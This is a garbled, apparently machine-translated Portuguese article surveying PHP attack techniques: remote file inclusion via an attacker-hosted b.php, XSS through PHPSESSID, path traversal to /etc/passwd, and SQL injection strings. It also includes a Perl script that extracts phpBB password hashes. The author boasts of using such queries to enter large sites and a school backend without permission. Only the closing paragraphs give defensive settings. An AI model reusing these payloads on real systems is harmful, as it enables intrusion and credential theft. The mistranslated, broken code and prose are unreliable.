A julgar pela segurança da rede atual, a vulnerabilidade da página WEB com a qual todos estão mais preocupados e mais expostos deveria ser o ASP. Nesse aspecto, Xiaozhu é um especialista e não tenho voz a dizer. também são problemas de vulnerabilidade de segurança muito sérios, mas não há muitos artigos nesta área. Aqui, vamos discutir brevemente as vulnerabilidades relacionadas às páginas PHP.
Fiz um resumo das vulnerabilidades comuns atuais do PHP, que são divididas aproximadamente nas seguintes categorias: incluindo vulnerabilidades de arquivos, vulnerabilidades de execução de comandos de script, vulnerabilidades de vazamento de arquivos, vulnerabilidades de injeção de SQL, etc. Falsificação de COOKIE, não vou discutir isso aqui, há muita informação sobre isso online. Então, vamos analisar como explorar essas vulnerabilidades uma por uma!
Primeiro, vamos discutir a vulnerabilidade do arquivo incluído. Esta vulnerabilidade deve ser considerada exclusiva do PHP. Isso se deve ao processamento insuficiente de dados maliciosos fornecidos externamente, o que permite que invasores remotos explorem essas vulnerabilidades para executar comandos arbitrários no sistema com processos WEB. permissões. Comando. Vejamos um exemplo: Suponha que exista esse código em a.php:
<?php
include($include."/xxx.php\");
?>
Neste código, $include geralmente é um caminho que foi configurado, mas podemos atingir o propósito do ataque construindo nós mesmos um caminho. Por exemplo, se enviarmos: a.php?include=http://web/b. .php, esta web é o espaço que usamos para atacar. Claro, b.php é o código que usamos para atacar. Podemos escrever em b.php algo como: passthru("/bin/ls /etc ") ; código. Desta forma, você pode realizar alguns ataques intencionais (Nota: O servidor web não deve ser capaz de executar código PHP, caso contrário, haverá problemas. Para detalhes relevantes, você pode ver << Como lidar com vulnerabilidades comuns. em programas PHP Ataque >>). Em termos desta vulnerabilidade, existem muitos problemas, por exemplo: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart e muitos mais.
A seguir, vamos dar uma olhada na vulnerabilidade de execução de comandos de script. Isso se deve à falta de filtragem suficiente dos parâmetros URI enviados pelos usuários. O envio de dados contendo código HTML malicioso pode desencadear um ataque de script entre sites e obter informações confidenciais do. usuário alvo. Vamos dar também um exemplo: a página index.php no PHP Transparent PHP 4.3.1 ou inferior não possui filtragem suficiente de PHPSESSID. Podemos atingir o objetivo do ataque através desse código:
http://web/index.php?PHPSESSID="><script>...</script >Em script podemos construir funções para obter algumas informações confidenciais dos usuários. Existem relativamente poucas vulnerabilidades nesse sentido, exceto em além do PHP Transparent, existem: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Então, vamos dar uma olhada na vulnerabilidade de divulgação de arquivos. Essa vulnerabilidade se deve à falta de filtragem suficiente dos parâmetros enviados pelo usuário. Os invasores remotos podem usá-la para realizar ataques de passagem de diretório e obter algumas informações confidenciais. Tomemos o phpMyAdmin recentemente descoberto como exemplo. No phpMyAdmin, a página export.php não filtra completamente o parâmetro 'what' enviado pelo usuário. Um invasor remoto pode ignorar isso enviando dados contendo vários caracteres '../'. Supere as restrições WEB ROOT e visualize qualquer informação de arquivo no sistema com permissões WEB. Por exemplo, inserir o seguinte endereço: export.php?what=../../../../../.. /etc/passwd%00 pode atingir o objetivo de vazamento de arquivo. é relativamente Existem mais: myPHPNuke, McNews, etc.
Finalmente, voltamos ao lugar mais emocionante. Pense em como é divertido usar injeção de SQL em páginas asp. No passado, tínhamos que injetar manualmente até que Xiaozhu percebesse o "livro secreto de injeção de SQL" (hehe). depois de desenvolver o NBSI, nossa Aliança NB realmente fez uma grande diferença. Ajudamos sucessivamente CSDN, Fórum de Monopólio, Canal da China e outros grandes sites a encontrar brechas (não vou entrar em mais bobagens sobre isso, está um pouco fora do assunto. .. ). Voltemos ao assunto. Na verdade, a injeção de SQL em asp é praticamente a mesma que a injeção de SQL em php. Basta prestar um pouco de atenção nas funções usadas. A função basicamente permaneceu inalterada. Na verdade, quando todos veem a injeção de SQL no PHP, eles pensam em PHP-NUKE e PHPBB? Sim, como diz o ditado, fóruns como Dongwang deveriam ser o rei das brechas no mundo ASP. não quer dizer que a segurança do seu fórum seja muito fraca, mas que ele é muito conhecido. Quanto mais outras pessoas o usarem, mais pessoas farão pesquisas e mais falhas de segurança serão descobertas. , que é muito popular agora. Quando a maioria das pessoas usa PHP para construir fóruns, elas geralmente escolhem PHPBB. Suas vulnerabilidades também estão surgindo constantemente, desde as primeiras vulnerabilidades descobertas na versão phpBB 1.4.0 do phpBB.com. .6 do groupcp .php e os previamente descobertos search.php, profile.php, viewtopic.php, etc. somam cerca de uma dúzia. Isso sempre levou algumas pessoas a usá-lo como um produto experimental ao estudar vulnerabilidades do PHP. ., como diz o ditado, a prática torna você perfeito, acredito que o PHPBB ficará cada vez melhor no futuro.
Ok, vamos analisar a causa da vulnerabilidade. Tomemos como exemplo a página viewtopic.php. Ao chamar viewtopic.php, o "topic_id" é obtido diretamente da solicitação GET e passado para o comando de consulta SQL, e sem alguma filtragem. , o invasor pode enviar uma string SQL especial para obter a senha MD5. Essas informações de senha podem ser usadas para login automático ou quebra de força bruta. (Não acho que alguém gostaria de fazer cracking de força bruta, a menos que haja um motivo particularmente importante). Vamos primeiro dar uma olhada no código-fonte relevante:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['tópico']);
# }
Do exposto acima, podemos ver que se o view=newest enviado e sid estiver definido como um valor, o código de consulta executado será semelhante ao seguinte (se você não viu o código-fonte do PHPBB, sugiro que você o leia e depois venha aqui
afetados
são: phpBB 2.0.5 e phpBB 2.0.4).
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# onde s.session_id = '$session_id'
# E u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# E p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick forneceu o seguinte código de teste:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = mudança || '/phpBB2/viewtopic.php';
$uid = mudança || 2;
$porta = 80;
$dbtype = 'mysql4'; # mysql4 ou pgsql
print "Tentando obter hash de senha para uid $uid server $remote dbtype: $dbtypen";
$p = "";
for($índice=1; $índice<=32; $índice++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $porta,
Proto => "tcp",
Tipo => SOCK_STREAM)
ou morra "Não foi possível conectar-se a $remote:$port :$@n";
$str = "GET $view_topic" .sid=1&topic_id=-1" .
imprimir $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # substitua isto por pgsql ou remova-o
imprimir $socket "Host: $remotenn";
while ($resposta = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Corresponde ao local: viewtopic.php?p=<num>#<num> {
$p.=chr();
}
}
fechar($soquete);
}
print "nMD5 Hash para uid $uid é $pn";
# random encode str.
sub random_encode {
$str = mudança;
$ret = "";
for($i=0; $i<comprimento($str); $i++) {
$c = substr($str,$i,1);
$j = comprimento aleatório($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" .sprintf("%x",ord($c));
} outro {
$ret.= $c;
}
}
retornar $ret;
}
sub make_dbsql {
if ($dbtype eq 'mysql4') {
return " união selecione ord(substring(user_password," . $index . ",1)) de phpbb_users onde user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; selecione ascii(substring(user_password de $index for 1)) como post_id de phpbb_posts p, phpbb_users u onde u.user_id=$uid ou false";
} outro {
retornar "";
}
}
Não vou explicar muito sobre esse código quebrado. A função é obter o valor HASH.
Vendo isso, você pode ter algumas dúvidas sobre por que as funções modificadas que mencionei anteriormente não são usadas. Não tenho medo de fazer as pessoas rirem quando lhes digo: Na verdade, as declarações de consulta de algumas páginas de muitos sites na Internet serão exibidas. assim:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Não ria, é verdade. Usei isso para acessar vários sites grandes. Quanto a quais, é difícil dizer, mas para o site da nossa escola, usei isso para acessar o backend (espero que o centro da rede escolar possa. não vejo) Este artigo, ^_^). Use a função anterior, caso contrário, você terá que alterar as senhas de outras pessoas!!!
Quase esqueci que o PHP é diferente do ASP quando se trata de injeção de SQL. O MySQL não é tão flexível quanto o MSSQL no uso de instruções SQL. Portanto, muitas instruções de consulta que podem ser usadas no MSSQL não funcionarão no banco de dados MySQL. Instruções de injeção comuns são assim: aaa.php?id=a' into outfile 'pass.txt ou aaa.php?id=a' into outfile 'pass.txt' /*Pode ser alterado posteriormente para: aaa.php? id=a' ou 1=1 união selecione id,nome,senha dos usuários no arquivo de saída 'c:/a.txt. Dessa forma, você pode exportar os dados do banco de dados para um arquivo e visualizá-los.
Ou assim: mode=',user_level='4
Esta declaração é geralmente usada ao modificar dados. Se houver uma vulnerabilidade na página, ela pode obter o efeito de elevação de permissões.
Outros como ' OR 1=1 -- or: 1' ou 1='1 são semelhantes ao asp. Não entrarei em detalhes aqui. Em PHP, a injeção de SQL parece ser a vulnerabilidade número um. páginas. Este é o problema.
Na verdade, você pode ver que há apenas uma razão para as classificações acima: os parâmetros enviados não são filtrados ou a filtragem não é suficientemente rigorosa. As linhas de defesa dos hackers sempre foram ofensivas e defensivas. métodos em geral.
Primeiro de tudo, eu pessoalmente acho que é o mais importante. O mais importante é definir magic_quotes_gpc como ON. Sua função é converter aspas simples, aspas duplas, barras invertidas e caracteres nulos em caracteres contendo barras invertidas, como. select * from admin where username='$username' and password ='$password' instrução, o invasor deseja usar 1' ou 1='1 para pular a verificação, mas essas strings serão convertidas assim: select * from admin where username='a' e password='1' ou 1='1' para atingir o objetivo de evitar a injeção. Na verdade, a operação addlashes() é executada automaticamente. Se não funcionar, defina sua própria função. Agora parece que aqueles que se envolvem em injeção de PHP também estão relativamente deprimidos, porque as versões abaixo do myslq4 não suportam subinstruções, e as novas versões do mysql terão como padrão a opção magic_quotes_gpc ativada.
O método para resolver a vulnerabilidade do arquivo incluído é pedir aos programadores que tentem não usar variáveis para parâmetros em arquivos incluídos. Se variáveis forem usadas, os nomes dos arquivos a serem incluídos devem ser rigorosamente verificados e não devem ser especificados arbitrariamente pelo usuário. é recomendado desativar global_variables. Por exemplo, limitar o caminho de operação do PHP na abertura anterior do arquivo é uma opção necessária. Além disso, a menos que seja necessário de outra forma, certifique-se de desligar a função de abertura remota de arquivos do PHP. Modifique o arquivo php.ini: allow_url_fopen = Off (Nota: Consulte <<Problemas de segurança do PHP: Remote Overflow, DoS, Safe_mode Bypass Vulnerabilities>>).